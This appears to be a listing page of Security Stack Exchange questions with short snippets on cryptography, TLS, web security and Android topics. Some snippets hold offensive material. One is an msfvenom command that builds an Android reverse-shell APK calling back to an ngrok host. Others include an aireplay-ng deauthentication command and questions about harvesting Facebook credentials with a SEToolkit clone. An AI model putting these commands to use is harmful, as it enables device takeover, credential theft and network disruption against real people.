All Questions
67,166
questions
0
votes
0
answers
23
views
Cannot aireplay-ng deauth attack Android 11
I was trying to do a deauth attack on Android 11 phone but it didn't work. I am using
sudo aireplay-ng --deauth 100000 -a [AP mac_addr] -c [my mac_addr] wlan0
The access point uses wpa2 encryption, ...
1
vote
1
answer
98
views
Can an email be traced if the account is deleted?
Can the government trace an email that has been sent from an account that is now deleted?
- 11
1
vote
1
answer
37
views
Privilege Escalation
Suppose I have an Admin account and a normal user account. There is some functionality that is only accessible to the admin only, like promoting other users. In this scenario, I captured a request ...
0
votes
0
answers
33
views
Using WPScan on site where home page is not Wordpress
I have a site that runs off a CMS that isn't WordPress.
However, WordPress still exists and I can access /wp-json/wp/v2/media for example, and pass in parameters to bring back what I need it to, and ...
1
vote
1
answer
31
views
Security of Trusty OS (TEE) Non-Secure World API
Recently I learned about TEE in Android, Trusty OS and its internals. I read through the articles on source.android.com and there is one thing I did not find there.
Trusty OS has its own API which ...
- 123
0
votes
0
answers
25
views
How to detect the IP of a person chatting with me on TELEGRAM [closed]
I tried doing some homework of my own in identifying the live traffic of TELEGRAM, but not very happy, as the objective is to find out who is spamming me live over TELEGRAM and chatting..
What I ...
- 1
1
vote
1
answer
65
views
Java Cryptography classes - program agnostic usage
We are planning on implementing encryption or digital signatures using any of the available classes provided by the Java Cryptography Architecture (e.g. KeyPair, MessageDigest, Cipher, KeyStore, ...
- 11
0
votes
0
answers
12
views
Are there specific cybersecurity things to be aware of before creating a forum site or message board using Google firebase? [closed]
I am an entrepeneur who hires developers on fiverr or upwork to maintain and develop my MVP website (built using Angular).
I want the website to develop into a forum/message board. However I want to ...
0
votes
0
answers
22
views
Exploiting a referer open redirect
I wanted to know if it is possible to exploit the fact that in my webapp the Referer header of a request is being reflected in the response.
For example:
GET /endpoint1 HTTP/2
Host: mysite.com
Cookie: ...
- 51
0
votes
1
answer
50
views
TLS1.3 using no cipher?
I received a spam text message and interrogated the domain name:
$ openssl s_client -servername https://example.com -connect example.com:443
What I want to know, is how likely it is that I should see ...
0
votes
0
answers
13
views
Metasploit: No shell after impersonation with incognito
I've been using metasploit, meterpreter and the incognito extension for a while. However sometimes, after impersonating a user, I cannot open a new shell, no matter how I try to open it (using the ...
- 1
0
votes
0
answers
32
views
SEToolkit cloned website not harvesting credentials
I am attempting to clone facebook to harvest credentials with SEToolkit. Everything runs but no credentials are harvested and the page never redirects to the real login. I have tried switching the IP ...
0
votes
1
answer
77
views
Facebook rejects a valid DoS'able vulnerability in WhatsApp - what should I do?
I found a vulnerability in WhatsApp which allows the attacker to temporarily lock you out of your account (which results among other things in a loss of productivity e.g. stemming from a loss of the ...
- 2,267
1
vote
1
answer
81
views
How is a XSS attack possible in this context?
I'm testing a website, which is vulnerable to XSS.
<input type="hidden" id="referer" name="referer" value="INJECTION_POINT">
<script>
document....
- 11
0
votes
0
answers
25
views
ssh tunnel: listening on the ssh server [migrated]
Here is what I am trying to do:
ssh me@server1 4000:server2:4000
With this command, I can connect to server2:4000 by connecting to localhost:4000
What I want to do is to connect on server1:4000
Is ...
- 29
0
votes
0
answers
26
views
APK reverse shell using ngrok is not creating a session
I am using ngrok for port forwarding (./ngrok tcp 4242)
I created a payload using
msfvenom -p android/meterpreter/reverse_tcp LHOST=0.tcp.in.ngrok.io LPORT=16656 R> /var/www/html/package.apk
then ...
0
votes
0
answers
59
views
How to find the correspond hash algorithm? [duplicate]
I'm currently working on a project. but i still facing some issue due to some crypted data. i know the plaintext and got the correspond hash.
plaintext: C018AE45B37DAE665486F4151E0C1E6F
Hash: rROkd+...
- 11
0
votes
0
answers
32
views
SSL/x509 certificate/public key expiration [duplicate]
I would like to know the process of how public keys/certificates are renewed for a website. I understand the concept of CA (Certificate Authority) chains, and how the public key/certificate for a site ...
- 1
1
vote
1
answer
45
views
AEAD: Authenticating a digest of my data instead the data itself
Relevant question for Python:
Stack Exchange: https://stackoverflow.com/questions/75739308/aead-authentication-with-huge-input-that-doesnt-fit-into-ram
Top Answers: https://topanswers.xyz/python?q=...
- 121
0
votes
0
answers
29
views
CRIME and BREACH attacks, HTTP/2 and HTTP/3
I have been reading on CRIME and BREACH attacks and I want to learn better how to protect against them.
From what I understood, those attacks require TLS encryption over HTTP compression and HTTP ...
- 101
1
vote
1
answer
57
views
Website randomly downloading html files to visitors [closed]
Another behaviour I found on a website with malware issues.
It keeps downloading random files like one named s2bbGoEJ.html to users computers. It actually tried to automatically download one such file ...
- 11
0
votes
1
answer
38
views
How to pass authentication to iframe from host app?
I will implement a chat bot web app that can be used on other websites. I plan to to host this app in www.mysite.com and customers will be able display this chat bot inside an iframe on their sites. ...
- 1
0
votes
0
answers
62
views
Would it be theoretically possible to design a 100% legal ransomware where the user voluntarily chooses to encrypt their files and pay to decrypt them [closed]
Would it be theoretically possible to design a 100% legal ransomware where the user voluntarily chooses to encrypt their files and pay to decrypt them? (Seriously, I always wondered if it was possible!...
- 37
0
votes
0
answers
37
views
eSIM/eUICC relay attacks
I'm trying to understand how the eSIM is protected against cloning. Here is the diagram from GSMA standard:
Now the ICT operator has its own security domain in which all the GSM related keys ...
- 39
-1
votes
0
answers
13
views
pick a value from array [migrated]
i have a curl request which fetches response, response comes as plain text, i need to read a value from response.
i have used below method it works using ID, i want to use name of field rather than ID ...
3
votes
1
answer
57
views
How can I validate the root DNS key-signing-key on the command line?
Consider the following dig command and its truncated output:
dig . dnskey +dnssec +multi @a.root-servers.net
...
...
;; ANSWER SECTION:
. 172800 IN DNSKEY 257 3 8 (
...
- 133
0
votes
0
answers
25
views
Bruteforcing AP hotspots with hashcat [closed]
Hackers can crack wpa2 passwords with hashcat.
Is this applicable to mobile phone/pc wifi sharing hotspots (adapters)? Can hashcat be used on a mobile phone/pc hotspot?
1
vote
0
answers
19
views
Is SRP/PAKE equivalent to an asymmetric crypto challenge?
As an amateur cryptographer and professional slowpoke, I just learned about SRP (and other PAKE protocols), and my thoughts immediately wandered to asymmetric crypto challenge protocols, like WebAuthn(...
- 171
0
votes
0
answers
35
views
Nginx server showing malware on http requests [closed]
Rewrote the question again and hope it's clear this time.
If anyone points an A record to my server IP using any domain, my server responds with a malware page to the http request made for that domain ...
- 11
0
votes
1
answer
51
views
Does TLS 1.3 spec include additional privacy controls for avoiding URL category filtering?
I've heard second-hand that the TLS 1.3 spec includes additional functionality to avoid URL category list filtering by firewalls and cloud-based proxies. Is that correct? If so, is there any ...
- 3,378
2
votes
2
answers
142
views
My web application needs to have my users' private keys to sign documents on their behalf. How do I handle that?
Our web application issues governmental documents for our users. Every one of those documents needs to be signed with a private key. However, because our users find it cumbersome to point their ...
- 21
0
votes
0
answers
22
views
How to get the pwned password list under Linux in the aera of 'PwnedPasswordsDownloader'? [closed]
I noticed, that the direct download link to the whole list as an archive has vanished from the page at https://haveibeenpwned.com/Passwords .
It now refers to the PwnedPasswordsDownloader git-repo ...
- 101
1
vote
0
answers
35
views
Decrypting a Base64 ciphertext [duplicate]
I am working on a challenge that includes decrypting a piece of ciphertext. The sample decryption provided is as follows:
...
0
votes
0
answers
44
views
How safe is sharing keyboard mouse between work laptop & my own personal laptop
I'm not at all concerned more about wireless part of security, and I have also read through the risks of wireless MITM which is the least possibility in my scenario.
What I need to know is if my work ...
0
votes
0
answers
34
views
Android FBE without screen lock
Is there any difference in the security of a factory reset with FBE (File-Based Encryption) on Android 10+ when not using a screen lock vs. using a screen lock before the factory reset is performed?
0
votes
1
answer
53
views
Is it possible to generate a read-only key for a symmetrical encryption (AES)?
I am working with hardware that can only encrypt with AES. The problem with this is that the message must be publicly verifiable on the blockchain, without the encoding key being exposed. This is the ...
0
votes
0
answers
25
views
What is the best way to protect passwords? [duplicate]
I noticed that I don't use many different passwords for all my stuff, which is very insecure. However, it is also difficult to remember really secure, long passwords which are different for every ...
- 1
0
votes
0
answers
12
views
How to add Google Authenticator (TOTP) to a Google account? [closed]
I'd like to 2FA with Google Authenticator to my account, but when I want to add 2FA, Google only offers U2F security tokens but no TOTP option. Following the instructions on the official help page, I ...
- 3,325
0
votes
0
answers
16
views
Google Cloud Functions - discovery and billing attack
Unauthorized HTTPS triggers for Google Cloud Functions are required for external APIs to contact your function. Usually you cannot set a method of authentication relying on IAM for some random unknown ...
- 153
0
votes
1
answer
61
views
Set cookie inside iFrame domain not seen
I'm trying unsuccessfully to set a cookie in an iframe cross-domain. I've found elsewhere (https://stackoverflow.com/questions/2117248/setting-cookie-in-iframe-different-domain, https://stackoverflow....
- 1
0
votes
0
answers
31
views
Weird JS code injected to most of my browser pages [closed]
Does anyone know what this JS code is doing? It keeps getting injected to most of my browser pages I visit. I have tried different browsers (Chrome/Edge), incognito mode, even disabling all extensions....
- 1
0
votes
0
answers
32
views
Will enabling 4 only mode in a smartphone, prevent hackers from downgrading your connection to 3g/2g
My question is Will enabling 4 only mode in a smartphone, prevent hackers from downgrading your connection to 3g/2g through fake towers.
3
votes
1
answer
48
views
Laptop TPM with physical presence key operations?
It seems most systems have a TPM 2 module in them now, and it seems those modules often have a physical presence pin. Are these pins actually used by any typical laptop manufactures?
I have a laptop ...
- 31
0
votes
2
answers
63
views
Does a certificate revocation list (CRL) keep it's entries at least as long as the certificate would have been valid?
This question is specifically about certificates that should have had a long lifetime, but were revoked quickly.
Is every CRL issued by this CA guaranteed to include its revocation, as long as the ...
- 3
-1
votes
0
answers
28
views
What are the security risks of storing sensitive documents on your android devices’s external storage?
Documents such as driving license, financial statements etc. with a lot of PII, how big is the risk of storing such type of documents on the shared external storage on android?
Assumptions:
Android ...
- 219
1
vote
1
answer
43
views
Encrypted semantic search
I want to implement semantic search but in an encrypted fashion.
For storing passwords, we store Enc(password) in a database, and when a user logs in, we check if Enc(query) == entry in the database.
...
0
votes
0
answers
68
views
Server showing malware on http requests [closed]
If anyone points an A record to my server IP using any domain, my server responds with a malware page to the http request made for that domain if accessed by Google bot and a redirect to my domain if ...
- 11
0
votes
1
answer
51
views
Is it dangerous to publicly surf the web while my browser is being run in an IDE?
While developing web software, I typically run a browser (chrome) from my IDE. Here's an example launch.json in VSCode:
{
// Use IntelliSense to learn about possible attributes.
// Hover to ...
- 878
0
votes
1
answer
54
views
icmp smurf attack
I am learning about ICMP smurf attack and for this, I have forged a packet with the following details:
source_mac_address = **??**
destination_mac_address = router mac address
char ...
- 101
14
votes
1
answer
3k
views
SSL issue captures Facebook app send out traffic
I tried to capture the send-out traffic of the Android app (Google Drive, Facebook, etc.). This is my security thesis.
I succeed capture send-out traffic on the Google Drive app with Mitmproxy but ...
